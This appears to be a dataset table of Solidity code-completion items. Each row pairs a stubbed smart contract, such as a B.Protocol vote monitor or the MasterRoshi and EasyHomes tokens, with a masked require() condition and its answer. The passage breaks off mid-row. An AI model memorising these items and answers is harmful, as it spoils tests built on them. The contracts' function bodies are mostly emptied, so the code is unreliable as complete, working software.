comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"vote-didn't-pass" | /*
B.PROTOCOL TERMS OF USE
=======================
THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”).
PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS.
IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL.
Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age.
License; No Warranties; Limitation of Liability;
(a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause.
(b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
(c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.5.16;
contract OwnedLike {
function owner() external view returns(address);
}
contract ERC20Like {
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract VoteMonitor {
OwnedLike constant B_CDP_MANAGER = OwnedLike(0x3f30c2381CD8B917Dd96EB2f1A4F96D91324BBed);
address constant public NEW_MAKER_EXEC = address(0xaEd8E3b2441031971ECe303694dFB5e4dd8bcAED);
address constant public MAKER_DISTRIBUTOR = address(0x2FdA31aF983d36d521dc6DE0Fabc87777334DC6c);
OwnedLike constant B_COMPOUND_REGISTRY = OwnedLike(0xbF698dF5591CaF546a7E087f5806E216aFED666A);
address constant public NEW_COMPOUND_EXEC = address(0xd3d2cE885BE9a4cE079423d40E4e5bbBDF2e7962);
address constant public COMPOUND_DISTRIBUTOR = address(0x20428d7F2a5F9024F2A148580f58e397c3718873);
ERC20Like constant BPRO = ERC20Like(0xbbBBBBB5AA847A2003fbC6b5C16DF0Bd1E725f61);
uint constant public QTY = 500_000e18;
uint public deploymentTime;
bool public sentMaker;
bool public sentCompound;
constructor() public {
}
function makerApproved() public view returns(bool) {
}
function compoundApproved() public view returns(bool) {
}
function softGrace() public view returns(bool) {
}
function sendMaker() external {
}
function sendCompound() external {
require(! sentCompound, "already-sent");
require(<FILL_ME>)
require(makerApproved() || softGrace(), "wait-for-maker");
sentCompound = true;
require(BPRO.transfer(COMPOUND_DISTRIBUTOR, QTY), "transfer-failed");
}
}
| compoundApproved(),"vote-didn't-pass" | 339,918 | compoundApproved() |
"wait-for-maker" | /*
B.PROTOCOL TERMS OF USE
=======================
THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”).
PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS.
IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL.
Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age.
License; No Warranties; Limitation of Liability;
(a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause.
(b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
(c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.5.16;
contract OwnedLike {
function owner() external view returns(address);
}
contract ERC20Like {
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract VoteMonitor {
OwnedLike constant B_CDP_MANAGER = OwnedLike(0x3f30c2381CD8B917Dd96EB2f1A4F96D91324BBed);
address constant public NEW_MAKER_EXEC = address(0xaEd8E3b2441031971ECe303694dFB5e4dd8bcAED);
address constant public MAKER_DISTRIBUTOR = address(0x2FdA31aF983d36d521dc6DE0Fabc87777334DC6c);
OwnedLike constant B_COMPOUND_REGISTRY = OwnedLike(0xbF698dF5591CaF546a7E087f5806E216aFED666A);
address constant public NEW_COMPOUND_EXEC = address(0xd3d2cE885BE9a4cE079423d40E4e5bbBDF2e7962);
address constant public COMPOUND_DISTRIBUTOR = address(0x20428d7F2a5F9024F2A148580f58e397c3718873);
ERC20Like constant BPRO = ERC20Like(0xbbBBBBB5AA847A2003fbC6b5C16DF0Bd1E725f61);
uint constant public QTY = 500_000e18;
uint public deploymentTime;
bool public sentMaker;
bool public sentCompound;
constructor() public {
}
function makerApproved() public view returns(bool) {
}
function compoundApproved() public view returns(bool) {
}
function softGrace() public view returns(bool) {
}
function sendMaker() external {
}
function sendCompound() external {
require(! sentCompound, "already-sent");
require(compoundApproved(), "vote-didn't-pass");
require(<FILL_ME>)
sentCompound = true;
require(BPRO.transfer(COMPOUND_DISTRIBUTOR, QTY), "transfer-failed");
}
}
| makerApproved()||softGrace(),"wait-for-maker" | 339,918 | makerApproved()||softGrace() |
"transfer-failed" | /*
B.PROTOCOL TERMS OF USE
=======================
THE TERMS OF USE CONTAINED HEREIN (THESE “TERMS”) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the “PROTOCOL”) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS (“DLPs”).
PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS.
IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL.
Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age.
License; No Warranties; Limitation of Liability;
(a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause.
(b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", “WITH ALL FAULTS” and “AS AVAILABLE” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
(c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
pragma solidity ^0.5.16;
contract OwnedLike {
function owner() external view returns(address);
}
contract ERC20Like {
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract VoteMonitor {
OwnedLike constant B_CDP_MANAGER = OwnedLike(0x3f30c2381CD8B917Dd96EB2f1A4F96D91324BBed);
address constant public NEW_MAKER_EXEC = address(0xaEd8E3b2441031971ECe303694dFB5e4dd8bcAED);
address constant public MAKER_DISTRIBUTOR = address(0x2FdA31aF983d36d521dc6DE0Fabc87777334DC6c);
OwnedLike constant B_COMPOUND_REGISTRY = OwnedLike(0xbF698dF5591CaF546a7E087f5806E216aFED666A);
address constant public NEW_COMPOUND_EXEC = address(0xd3d2cE885BE9a4cE079423d40E4e5bbBDF2e7962);
address constant public COMPOUND_DISTRIBUTOR = address(0x20428d7F2a5F9024F2A148580f58e397c3718873);
ERC20Like constant BPRO = ERC20Like(0xbbBBBBB5AA847A2003fbC6b5C16DF0Bd1E725f61);
uint constant public QTY = 500_000e18;
uint public deploymentTime;
bool public sentMaker;
bool public sentCompound;
constructor() public {
}
function makerApproved() public view returns(bool) {
}
function compoundApproved() public view returns(bool) {
}
function softGrace() public view returns(bool) {
}
function sendMaker() external {
}
function sendCompound() external {
require(! sentCompound, "already-sent");
require(compoundApproved(), "vote-didn't-pass");
require(makerApproved() || softGrace(), "wait-for-maker");
sentCompound = true;
require(<FILL_ME>)
}
}
| BPRO.transfer(COMPOUND_DISTRIBUTOR,QTY),"transfer-failed" | 339,918 | BPRO.transfer(COMPOUND_DISTRIBUTOR,QTY) |
null | /**
*Submitted for verification at Etherscan.io on 2021-10-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MasterRoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MasterRoshi";
string private constant _symbol = "Roshi";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _teamFee = 10; // 10% Marketing and Development Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _MasterRoshi;
address payable private _TurtleTax;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor(address payable marketfund, address payable turtletax, address payable masterroshi) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function isExcluded(address account) public view returns (bool) {
}
function isBlackListed(address account) public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setSwapEnabled(bool enabled) external {
require(<FILL_ME>)
swapEnabled = enabled;
}
function manualswap() external {
}
function manualsend() external {
}
function setBots(address[] memory bots_) public onlyOwner() {
}
function delBot(address notbot) public onlyOwner() {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
}
function setRouterPercent(uint256 maxRouterPercent) external {
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function setMarketingWallet(address payable account) external {
}
function setDev(address payable account) external {
}
function setClan(address payable account) external {
}
}
| _msgSender()==_MasterRoshi | 340,022 | _msgSender()==_MasterRoshi |
null | pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ParentToken {
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address=>uint)) allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ParentToken(uint256 currentSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
require(<FILL_ME>)
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
return true;
}
///@notice Allow another contract to spend some tokens in your behalf
///@param spender The address authorized to spend
///@param value The amount to be approved
function approve(address spender, uint256 value)
returns (bool success) {
}
///@notice Approve and then communicate the approved contract in a single tx
///@param spender The address authorized to spend
///@param value The amount to be approved
function approveAndCall(address spender, uint256 value, bytes extraData)
returns (bool success) {
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
}
contract EasyHomes is owned,ParentToken{
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public standard = 'Token 0.1';
uint256 public currentSupply= 100000000000000000;
string public constant symbol = "EHT";
string public constant tokenName = "EasyHomes";
uint8 public constant decimals = 8;
mapping (address => bool) public frozenAccount;
///@notice Default function used for any payments made.
function () payable {
}
///@notice Accept payment and transfer to owner account.
function acceptPayment() payable {
}
function EasyHomes()ParentToken(currentSupply,tokenName,decimals,symbol){}
///@notice Provides balance of the account requested
///@param add Address of the account for which balance is being enquired
function balanceOf(address add) constant returns (uint balance){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
///@notice Increase the number of coins
///@param target The address of the account where the coins would be added.
///@param mintedAmount The amount of coins to be added
function mintToken(address target, uint256 mintedAmount) onlyOwner {
}
///@notice Freeze the account at the target address
///@param target The address of the account to be frozen
function freezeAccount(address target, bool freeze) onlyOwner {
}
/// @notice Remove tokens from the system irreversibly
/// @param value The amount of money to burn
function burn(uint256 value) onlyOwner returns (bool success) {
}
function burnFrom(address from, uint256 value) onlyOwner returns (bool success) {
}
/* This notifies clients about the amount transfered */
event Transfer(address indexed _from, address indexed _to,uint256 _value);
/* This notifies clients about the amount approved */
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
/* This notifies clients about the account freeze */
event FrozenFunds(address target, bool frozen);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
}
| balances[msg.sender]>=value&&value>0 | 340,064 | balances[msg.sender]>=value&&value>0 |
null | pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ParentToken {
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address=>uint)) allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ParentToken(uint256 currentSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Allow another contract to spend some tokens in your behalf
///@param spender The address authorized to spend
///@param value The amount to be approved
function approve(address spender, uint256 value)
returns (bool success) {
}
///@notice Approve and then communicate the approved contract in a single tx
///@param spender The address authorized to spend
///@param value The amount to be approved
function approveAndCall(address spender, uint256 value, bytes extraData)
returns (bool success) {
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
require(<FILL_ME>)
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
return true;
}
}
contract EasyHomes is owned,ParentToken{
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public standard = 'Token 0.1';
uint256 public currentSupply= 100000000000000000;
string public constant symbol = "EHT";
string public constant tokenName = "EasyHomes";
uint8 public constant decimals = 8;
mapping (address => bool) public frozenAccount;
///@notice Default function used for any payments made.
function () payable {
}
///@notice Accept payment and transfer to owner account.
function acceptPayment() payable {
}
function EasyHomes()ParentToken(currentSupply,tokenName,decimals,symbol){}
///@notice Provides balance of the account requested
///@param add Address of the account for which balance is being enquired
function balanceOf(address add) constant returns (uint balance){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
///@notice Increase the number of coins
///@param target The address of the account where the coins would be added.
///@param mintedAmount The amount of coins to be added
function mintToken(address target, uint256 mintedAmount) onlyOwner {
}
///@notice Freeze the account at the target address
///@param target The address of the account to be frozen
function freezeAccount(address target, bool freeze) onlyOwner {
}
/// @notice Remove tokens from the system irreversibly
/// @param value The amount of money to burn
function burn(uint256 value) onlyOwner returns (bool success) {
}
function burnFrom(address from, uint256 value) onlyOwner returns (bool success) {
}
/* This notifies clients about the amount transfered */
event Transfer(address indexed _from, address indexed _to,uint256 _value);
/* This notifies clients about the amount approved */
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
/* This notifies clients about the account freeze */
event FrozenFunds(address target, bool frozen);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
}
| allowance[from][msg.sender]>=value&&balances[from]>=value&&value>0 | 340,064 | allowance[from][msg.sender]>=value&&balances[from]>=value&&value>0 |
null | pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ParentToken {
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address=>uint)) allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ParentToken(uint256 currentSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Allow another contract to spend some tokens in your behalf
///@param spender The address authorized to spend
///@param value The amount to be approved
function approve(address spender, uint256 value)
returns (bool success) {
}
///@notice Approve and then communicate the approved contract in a single tx
///@param spender The address authorized to spend
///@param value The amount to be approved
function approveAndCall(address spender, uint256 value, bytes extraData)
returns (bool success) {
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
}
contract EasyHomes is owned,ParentToken{
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public standard = 'Token 0.1';
uint256 public currentSupply= 100000000000000000;
string public constant symbol = "EHT";
string public constant tokenName = "EasyHomes";
uint8 public constant decimals = 8;
mapping (address => bool) public frozenAccount;
///@notice Default function used for any payments made.
function () payable {
}
///@notice Accept payment and transfer to owner account.
function acceptPayment() payable {
}
function EasyHomes()ParentToken(currentSupply,tokenName,decimals,symbol){}
///@notice Provides balance of the account requested
///@param add Address of the account for which balance is being enquired
function balanceOf(address add) constant returns (uint balance){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
require(<FILL_ME>)
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value); // Update the balance of beneficiary account
Transfer(msg.sender,to,value);
return true;
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
function transferFrom(address from, address to, uint value) returns (bool success){
}
///@notice Increase the number of coins
///@param target The address of the account where the coins would be added.
///@param mintedAmount The amount of coins to be added
function mintToken(address target, uint256 mintedAmount) onlyOwner {
}
///@notice Freeze the account at the target address
///@param target The address of the account to be frozen
function freezeAccount(address target, bool freeze) onlyOwner {
}
/// @notice Remove tokens from the system irreversibly
/// @param value The amount of money to burn
function burn(uint256 value) onlyOwner returns (bool success) {
}
function burnFrom(address from, uint256 value) onlyOwner returns (bool success) {
}
/* This notifies clients about the amount transfered */
event Transfer(address indexed _from, address indexed _to,uint256 _value);
/* This notifies clients about the amount approved */
event Approval(address indexed _owner, address indexed _spender,uint256 _value);
/* This notifies clients about the account freeze */
event FrozenFunds(address target, bool frozen);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
}
| balances[msg.sender]>=value&&value>0&&(!frozenAccount[msg.sender]) | 340,064 | balances[msg.sender]>=value&&value>0&&(!frozenAccount[msg.sender]) |
null | pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract ParentToken {
/* library used for calculations */
using SafeMath for uint256;
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address=>uint)) allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ParentToken(uint256 currentSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol){
}
///@notice Transfer tokens to the beneficiary account
///@param to The beneficiary account
///@param value The amount of tokens to be transfered
function transfer(address to, uint value) returns (bool success){
}
///@notice Allow another contract to spend some tokens in your behalf
///@param spender The address authorized to spend
///@param value The amount to be approved
function approve(address spender, uint256 value)
returns (bool success) {
}
///@notice Approve and then communicate the approved contract in a single tx
///@param spender The address authorized to spend
///@param value The amount to be approved
function approveAndCall(address spender, uint256 value, bytes extraData)
returns (bool success) {
}
///@notice Transfer tokens between accounts
///@param from The benefactor/sender account.
///@param to The beneficiary account
///@param value The amount to be transfered
